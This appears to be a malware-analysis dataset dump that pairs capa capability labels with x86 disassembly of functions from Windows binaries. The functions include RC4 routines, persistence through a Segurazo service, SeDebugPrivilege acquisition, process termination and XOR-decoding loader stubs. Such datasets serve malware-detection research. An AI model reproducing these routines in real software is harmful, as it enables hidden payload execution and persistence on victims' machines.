joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001c70
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
mov eax, dword [0x1001d00c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x100
xor edi, edi
lea eax, [ebp - 0x104]
push edi
push eax
mov ebx, ecx
call fcn.10006b60
mov esi, ebx
add esp, 0xc
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x10001ca4
sub esi, ecx
xor ecx, ecx
nop
mov eax, ecx
mov byte [ecx + 0x1001e498], cl
xor edx, edx
div esi
mov al, byte [edx + ebx]
mov byte [ebp + ecx - 0x104], al
inc ecx
cmp ecx, 0x100
jl 0x10001cb0
xor esi, esi
nop dword [eax]
nop word [eax + eax]
mov dl, byte [esi + 0x1001e498]
movsx eax, byte [ebp + esi - 0x104]
add edi, eax
movzx ecx, dl
add edi, ecx
and edi, 0x800000ff
jns 0x10001d05
dec edi
or edi, 0xffffff00
inc edi
mov al, byte [edi + 0x1001e498]
mov byte [esi + 0x1001e498], al
inc esi
mov byte [edi + 0x1001e498], dl
cmp esi, 0x100
jl 0x10001ce0
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10004276
mov esp, ebp
pop ebp
ret

Function at 0x10001f70
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
mov edi, edx
mov ebx, ecx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x10001f89
pop edi
pop ebx
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x10001fc6
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 8]
lea edx, [esi + eax]
and ecx, 0xf
jbe 0x10001fc2
nop word [eax + eax]
cmp esi, edx
jae 0x10001fc6
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub ecx, 1
jne 0x10001fb0
cmp esi, edx
jb 0x10001fcd
pop esi
pop edi
xor eax, eax
pop ebx
pop ebp
ret
xor eax, eax
cmp word [esi], ax
cmove esi, eax
mov eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10002380
Capabilities:
Create service
Persist via windows service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
mov eax, dword [0x1001d00c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0xf003f
xor edi, edi
mov dword [ebp - 0x110], ecx
push edi
mov esi, edx
xorps xmm0, xmm0
push edi
mov dword [ebp - 0x10c], esi
movq qword [ebp - 0x11c], xmm0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
test ebx, ebx
je 0x100024ac
push 0x10000000
push str.SEGURAZOKD
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
jne 0x10002493
push 0x104
push eax
lea eax, [ebp - 0x108]
push eax
call fcn.10006b60
push dword [ebp - 0x110]
lea eax, [ebp - 0x108]
push str.___s
push 0x104
push eax
call fcn.10001ef0
add esp, 0x1c
lea eax, [ebp - 0x110]
push esi
push esi
push 0x10019588
push eax
push str.Segurazo_Kernel_Driver
lea eax, [ebp - 0x108]
push eax
push 1
push 2
push 1
push 0x10000000
push str.Segurazo_Kernel_Driver
push str.SEGURAZOKD
push ebx
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov esi, eax
test esi, esi
je 0x10002457
mov edi, 1
jmp 0x100024c7
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.03_d
push dword [ebp - 0x10c]
call fcn.10004010
add esp, 0xc
xor edi, edi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test ebx, ebx
je 0x10002480
push ebx
call esi
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10004276
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.02_d
push dword [ebp - 0x10c]
call fcn.10004010
jmp 0x100024c4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.01_d
push esi
call fcn.10004010
mov esi, dword [ebp - 0x118]
add esp, 0xc
test esi, esi
je 0x10002473
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
jmp 0x10002479
Function at 0x100024e0
Capabilities:
Start service

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0xf003f
xor esi, esi
mov ebx, edx
push esi
push esi
mov edi, ecx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 4], eax
test eax, eax
je 0x10002593
push 0x10
push edi
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
test edi, edi
je 0x1000256a
push esi
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
je 0x1000253e
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, 1
call edi
push dword [ebp - 4]
call edi
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.03_d
push ebx
call fcn.10004010
add esp, 0xc
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call edi
push dword [ebp - 4]
call edi
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.02_d
push ebx
call fcn.10004010
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
add esp, 0xc
push dword [ebp - 4]
call edi
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.01_d
push ebx
call fcn.10004010
add esp, 0xc
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10002770
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x1001d00c]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 0
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x100027e2
lea eax, [ebp - 0x20]
push eax
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x100027e2
mov eax, dword [ebp - 0x20]
push 0
push 0
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x1c]
push 0x10
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x14]
push eax
push 0
push dword [ebp - 0x18]
mov dword [ebp - 0x14], 1
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10004276
mov esp, ebp
pop ebp
ret
Function at 0x10002800
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x1001d00c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
mov esi, ecx
mov dword [ebp - 0x130], 0x128
push 2
mov dword [ebp - 0x134], esi
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x100028a2
lea eax, [ebp - 0x130]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp eax, 1
jne 0x1000289f
lea eax, [ebp - 0x10c]
push eax
push esi
call fcn.10008f64
add esp, 8
test eax, eax
jne 0x1000288c
push dword [ebp - 0x128]
push eax
push 0x401
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call ebx
mov esi, dword [ebp - 0x134]
lea eax, [ebp - 0x130]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
cmp eax, 1
je 0x10002852
push edi
call ebx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10004276
mov esp, ebp
pop ebp
ret

Function at 0x10002b90
Capabilities:
Stop service

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x424
mov eax, dword [0x1001d00c]
xor eax, esp
mov dword [esp + 0x420], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
mov esi, dword [ebp + 0x14]
push edi
push 0x400
mov dword [0x1001ed98], eax
lea eax, [esp + 0x2c]
push 0
push eax
mov dword [0x1001e394], esi
call fcn.10006b60
add esp, 0xc
test esi, esi
je 0x10002bfb
mov esi, dword [esi]
test esi, esi
je 0x10002bfb
lea eax, [esi + 4]
push eax
lea eax, [esp + 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [0x1001e394]
mov ecx, dword [esi]
push esi
mov dword [eax], ecx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
lea ecx, [esp + 0x28]
call fcn.100028c0
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
xor bl, bl
test esi, esi
je 0x10002c5c
push 0x20
lea eax, [esp + 0x2c]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
test edi, edi
je 0x10002c55
lea eax, [esp + 0xc]
push eax
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x10002c4e
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov bl, 1
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov cl, bl
call fcn.100025c0
call fcn.10002770
lea ecx, [esp + 0x28]
dec ecx
nop dword [eax]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x10002c70
mov eax, dword [str..exe]
mov dword [ecx], eax
mov al, byte [0x1001a850]
mov byte [ecx + 4], al
lea ecx, [esp + 0x28]
call fcn.10002800
mov ecx, dword [esp + 0x42c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10004276
mov esp, ebp
pop ebp
ret
Function at 0x10002cb0
Capabilities:
Delete service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
mov eax, dword [0x1001d00c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
mov esi, dword [ebp + 0x14]
push 0x400
mov dword [0x1001ed98], eax
lea eax, [ebp - 0x404]
push 0
push eax
mov dword [0x1001e394], esi
call fcn.10006b60
add esp, 0xc
test esi, esi
je 0x10002d17
mov esi, dword [esi]
test esi, esi
je 0x10002d17
lea eax, [esi + 4]
push eax
lea eax, [ebp - 0x404]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [0x1001e394]
mov ecx, dword [esi]
push esi
mov dword [eax], ecx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
xor bl, bl
test esi, esi
je 0x10002d6b
push edi
push 0xf01ff
lea eax, [ebp - 0x404]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
test edi, edi
je 0x10002d63
push edi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
movzx ebx, bl
mov ecx, 1
push edi
cmovne ebx, ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
mov cl, bl
call fcn.100025c0
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.10004276
mov esp, ebp
pop ebp
ret
Function at 0x100036b0
Capabilities:
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x1001d00c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push esi
push 0xf003f
push 0
mov dword [0x1001e394], eax
mov eax, dword [ebp + 0xc]
push 0
mov dword [0x1001ed98], eax
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
xor bl, bl
test esi, esi
je 0x1000372b
push edi
push 0x20
push str.SEGURAZOKD
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
test edi, edi
je 0x10003723
lea eax, [ebp - 0x20]
push eax
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x1000371c
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov bl, 1
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
mov cl, bl
call fcn.100025c0
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.10004276
mov esp, ebp
pop ebp
ret

Function at 0x100037d0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x534
mov eax, dword [0x1001d00c]
xor eax, esp
mov dword [esp + 0x530], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
mov esi, dword [ebp + 0x14]
push edi
push 0x400
mov dword [0x1001ed98], eax
lea eax, [esp + 0x13c]
push 0
push eax
mov dword [0x1001e394], esi
call fcn.10006b60
add esp, 0xc
test esi, esi
je 0x10003841
mov esi, dword [esi]
test esi, esi
je 0x10003841
lea eax, [esi + 4]
push eax
lea eax, [esp + 0x13c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [0x1001e394]
mov ecx, dword [esi]
push esi
mov dword [eax], ecx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
xor esi, esi
mov dword [esp + 0x10], 0x128
push esi
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x100038c2
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp eax, 1
jne 0x100038bf
lea eax, [esp + 0x34]
push eax
lea eax, [esp + 0x13c]
push eax
call fcn.10008f64
add esp, 8
test eax, eax
jne 0x100038ae
push dword [esp + 0x18]
push eax
push 0x401
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call ebx
mov esi, 1
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
cmp eax, 1
je 0x10003872
push edi
call ebx
test esi, esi
setne cl
call fcn.100025c0
mov ecx, dword [esp + 0x53c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10004276
mov esp, ebp
pop ebp
ret
Function at 0x100038f0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x1468
call fcn.10013df0
mov eax, dword [0x1001d00c]
xor eax, esp
mov dword [esp + 0x1464], eax
mov eax, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 0x14]
push edi
push 0x400
mov dword [0x1001ed98], eax
lea eax, [esp + 0x6c]
push 0
push eax
mov dword [0x1001e394], esi
call fcn.10006b60
add esp, 0xc
test esi, esi
je 0x1000395e
mov esi, dword [esi]
test esi, esi
je 0x1000395e
lea eax, [esi + 4]
push eax
lea eax, [esp + 0x6c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [0x1001e394]
mov ecx, dword [esi]
push esi
mov dword [eax], ecx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push 0x1000
lea eax, [esp + 0x46c]
push 0
push eax
call fcn.10006b60
push 0
call fcn.100090c5
mov dword [esp + 0x18], eax
lea ecx, [esp + 0x478]
lea eax, [esp + 0x18]
mov dword [esp + 0x1c], edx
push 8
push eax
mov edx, 0x1000
call fcn.10001e40
lea esi, [esp + 0x80]
add esp, 0x18
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x100039a6
sub esi, ecx
lea eax, [esp + 0x68]
push esi
push eax
mov edx, 0xff8
lea ecx, [esp + 0x478]
call fcn.10001e40
add esp, 8
mov word [esp + 0x50], 0x6430
lea ecx, [esp + 0x44]
mov dword [esp + 0x45], 0x62643830
add esi, 8
mov word [esp + 0x5a], 0x6235
mov dword [esp + 0x49], 0x30396363
mov word [esp + 0x53], 0x3561
mov dword [esp + 0x61], 0x636439
mov dword [esp + 0x5d], 0x63383239
mov dword [esp + 0x56], 0x34363837
mov byte [esp + 0x5c], 0x39
mov byte [esp + 0x55], 0x33
mov byte [esp + 0x52], 0x65
mov word [esp + 0x4d], 0x3135
mov byte [esp + 0x44], 0x32
mov byte [esp + 0x4f], 0x35
call fcn.10001c70
mov edx, esi
lea ecx, [esp + 0x468]
call fcn.10001d40
test al, al
je 0x10003b0c
push esi
lea eax, [esp + 0x46c]
mov dword [esp + 0x14], vtable.Base64Coder.0
push eax
lea ecx, [esp + 0x18]
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 0
call fcn.10001230
lea eax, [esp + 0x2c]
push eax
lea ecx, [esp + 0x14]
call fcn.100010b0
cmp dword [esp + 0x40], 0x10
lea edi, [esp + 0x2c]
cmovae edi, dword [esp + 0x2c]
cmp dword [0x1001e394], 0
je 0x10003ad9
mov eax, dword [0x1001ed98]
add eax, 0x404
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push dword [0x1001ed98]
mov esi, eax
push edi
lea ecx, [esi + 4]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov edx, dword [0x1001e394]
mov ecx, dword [edx]
mov dword [esi], ecx
mov dword [edx], esi
lea ecx, [esp + 0x2c]
call fcn.100016e0
mov eax, dword [esp + 0x14]
mov dword [esp + 0x10], vtable.Base64Coder.0
test eax, eax
je 0x10003afb
push eax
call fcn.10004287
add esp, 4
mov eax, dword [esp + 0x18]
test eax, eax
je 0x10003b0c
push eax
call fcn.10004287
add esp, 4
mov ecx, dword [esp + 0x146c]
pop edi
pop esi
xor ecx, esp
call fcn.10004276
mov esp, ebp
pop ebp
ret
Function at 0x406234
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x406243
pop dword [ebp - 0x18]
mov eax, 0x406243
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0x4b55e0d8
sub dword [ebp - 0x28], 0xfd039b8d
mov dword [ebp - 0x24], 0x36803282
sub dword [ebp - 0x24], 0x44ce63d
mov dword [ebp - 0x20], 0x52038622
add dword [ebp - 0x20], 0xfa48be0c
mov dword [ebp - 0x1c], 0x701404ad
add dword [ebp - 0x1c], 0x8febfb53
lea eax, [ebp - 0x28]
push eax
mov eax, 0xe8e2206b
add eax, 0x175e6099
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0xdea6f25d
add dword [ebp - 0x28], 0x95cb76f9
mov dword [ebp - 0x24], 0x3bc91ec3
sub dword [ebp - 0x24], 0xfa5cbd4e
mov dword [ebp - 0x20], 0x96c9b5b8
sub dword [ebp - 0x20], 0x335a494c
mov dword [ebp - 0x1c], 0x82142ce5
sub dword [ebp - 0x1c], 0x82142ce5
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x34f23
push 0
call eax
mov ecx, 0xa610ca45
add ecx, 0x59ef756c
xor edx, edx
add edx, eax
mov esi, 0xc0df6891
sub esi, 0xc0988491
add esi, dword [ebp - 0x18]
mov ebx, 0x1cc5b0fa
add ebx, 0xdecffa9a
add dword [ebp - 4], edi
mov edi, dword [esi]
xor dword [ebp - 4], ebx
xor edi, ebx
add dword [ebp - 0x10], 0x92900a94
mov dword [edx], edi
add edx, 0x232a4efa
add edx, 0xdcd5b10a
add esi, 0xdc52720d
sub esi, 0xdc527209
loop 0x40635d
add eax, 0x652fcf47
add eax, 0x9ad12250
mov ebx, eax
add eax, 0x747ae558
add eax, 0x8b851aad
mov ecx, 0x30dd82ef
add ecx, 0xcf627d11
add ecx, dword [ebp - 0x18]
call ebx
leave
ret

Function at 0x40669d
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x427dcc], 0
push esi
jne 0x4066d4
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x4066ae
mov dword [ecx*4 + 0x427dc8], eax
inc ecx
cmp ecx, 0x100
jl 0x4066a9
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406705
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x427dc8]
xor eax, esi
inc ecx
dec edx
jne 0x4066e7
pop edi
not eax
pop esi
ret 0xc
Function at 0x10013680
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x1001368f
pop dword [ebp - 0x10]
mov eax, 0x1001368f
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0xbecd52a7
sub dword [ebp - 0x20], 0x707b0d5c
mov dword [ebp - 0x1c], 0xa820dc2d
add dword [ebp - 0x1c], 0x8a127018
mov dword [ebp - 0x18], 0x5b8dc490
add dword [ebp - 0x18], 0xf0be7f9e
mov dword [ebp - 0x14], 0x5d203a7b
sub dword [ebp - 0x14], 0x5d203a7b
lea eax, [ebp - 0x20]
push eax
mov eax, 0x86dce533
add eax, 0x8924cadd
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0xc72adc34
add dword [ebp - 0x20], 0xad478d22
mov dword [ebp - 0x1c], 0x44fed6c
sub dword [ebp - 0x1c], 0xc2e38bf7
mov dword [ebp - 0x18], 0x6cdb520f
add dword [ebp - 0x18], 0xf6941a5d
mov dword [ebp - 0x14], 0x8fc06479
sub dword [ebp - 0x14], 0x8fc06479
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0x950bcee9
sub eax, 0x850a1ed5
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x3df61
push 0
call eax
mov ecx, 0xc8af030d
add ecx, 0x37514204
xor edx, edx
add edx, eax
mov ebx, 0x1002b000
add ebx, dword [ebp - 0x10]
mov edi, 0xee732268
sub dword [ebp - 8], 0x8a8f8612
mov esi, dword [ebx]
add dword [ebp - 8], edx
add esi, edi
xor dword [ebp - 0xc], 0x4843461e
mov dword [edx], esi
xor dword [ebp - 0xc], 0xdc8625ac
add edx, 0xc0befe4c
sub edx, 0xc0befe48
add ebx, 0x8e5391dc
add ebx, 0x71ac6e28
loop 0x100137a2
add eax, 0x4d598388
add eax, 0xb2a7838f
mov ebx, eax
add eax, 5
mov ecx, 0x39be450d
add ecx, 0xd641baf3
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x409350
Capabilities:
Get common file path

Disassembly:
sub esp, 0x20c
mov eax, dword [0x423004]
xor eax, esp
mov dword [esp + 0x208], eax
push esi
lea eax, [esp + 4]
mov esi, ecx
push eax
push 0
push 0
push edx
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
je 0x409395
xor al, al
pop esi
mov ecx, dword [esp + 0x208]
xor ecx, esp
call fcn.0040a2cd
add esp, 0x20c
ret
cmp word [esi], 0
mov ecx, dword [esp + 0x214]
je 0x4093ac
add esi, 2
dec ecx
cmp word [esi], 0
jne 0x4093a2
cmp word [esp + 4], 0
je 0x4093d7
lea edx, [esp + 4]
sub edx, esi
nop word [eax + eax]
cmp ecx, 1
jb 0x4093f4
mov ax, word [edx + esi]
dec ecx
mov word [esi], ax
add esi, 2
cmp word [edx + esi], 0
jne 0x4093c0
mov ecx, dword [esp + 0x20c]
xor eax, eax
mov word [esi], ax
mov al, 1
pop esi
xor ecx, esp
call fcn.0040a2cd
add esp, 0x20c
ret
call fcn.0040c031
int3
Function at 0x409820
Capabilities:
Terminate process

Disassembly:
push ecx
call fcn.0040c4fb
add esp, 4
push 2
call fcn.0040c01b
int3

Function at 0x409860
Capabilities:
Terminate process

Disassembly:
mov ecx, str.Error__couldnt_runtime_expand_target_path.
jmp fcn.00409820

Function at 0x409870
Capabilities:
Terminate process

Disassembly:
mov ecx, str.Error__couldnt_decode_attached_data.
jmp fcn.00409820

Function at 0x409880
Capabilities:
Terminate process

Disassembly:
mov ecx, str.Error__couldnt_find_attached_data_header.
jmp fcn.00409820

Function at 0x409890
Capabilities:
Terminate process

Disassembly:
mov ecx, str.Error__couldnt_read_attached_data.
jmp fcn.00409820

Function at 0x4098a0
Capabilities:
Terminate process

Disassembly:
mov ecx, str.Error__couldnt_allocate_memory.
jmp fcn.00409820

Function at 0x4098b0
Capabilities:
Terminate process

Disassembly:
mov ecx, str.Error__couldnt_launch_child
call fcn.004097d0
push 2
call fcn.0040c01b
int3
jmp 0x409840

Function at 0x4098c0
Capabilities:
Terminate process

Disassembly:
push 0x427c10
push str.Error__failed_to_open__ls_for_writing._n
push 2
call fcn.0040c398
add esp, 4
push eax
call fcn.00401010
add esp, 0xc
push 2
call fcn.0040c01b
int3

Function at 0x409a50
Capabilities:
Create directory

Disassembly:
mov eax, 0x200c
call fcn.0041a5b0
mov eax, dword [0x423004]
xor eax, esp
mov dword [esp + 0x2004], eax
push ebx
push ebp
push esi
push edi
mov edi, dword [0x4243d0]
mov ebp, ecx
test edi, edi
jne 0x409ab7
push 0x1000
mov edx, str._HOME_
lea ecx, [esp + 0x14]
call fcn.00409400
add esp, 4
test al, al
je 0x409b9a
lea eax, [esp + 0x10]
push eax
call fcn.0040f1f9
mov edi, dword [0x4243d0]
add esp, 4
mov dword [edi*4 + 0x4263f0], eax
inc edi
mov dword [0x4243d0], edi
xor esi, esi
test edi, edi
jle 0x409b04
nop dword [eax]
mov eax, dword [esi*4 + 0x4263f0]
mov ecx, ebp
nop dword [eax]
mov dx, word [ecx]
cmp dx, word [eax]
jne 0x409af6
test dx, dx
je 0x409af2
mov dx, word [ecx + 2]
cmp dx, word [eax + 2]
jne 0x409af6
add ecx, 4
add eax, 4
test dx, dx
jne 0x409ad0
xor eax, eax
jmp 0x409afb
sbb eax, eax
or eax, 1
test eax, eax
je 0x409b2b
inc esi
cmp esi, edi
jl 0x409ac0
mov ecx, ebp
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x409b10
sub ecx, edx
sar ecx, 1
cmp ecx, 2
jne 0x409b2f
cmp word [ebp + 2], 0x3a
jne 0x409b2f
mov al, 1
jmp 0x409b81
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
setne bl
test eax, eax
jne 0x409b52
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x409b52
mov bl, 1
jmp 0x409b56
test bl, bl
je 0x409b7f
cmp dword [0x4243d0], 0x400
jge 0x409b7f
push ebp
call fcn.0040f1f9
mov ecx, dword [0x4243d0]
add esp, 4
mov dword [ecx*4 + 0x4263f0], eax
inc ecx
mov dword [0x4243d0], ecx
mov al, bl
mov ecx, dword [esp + 0x2014]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040a2cd
add esp, 0x200c
ret
mov ecx, str._HOME_
call fcn.004098f0
int3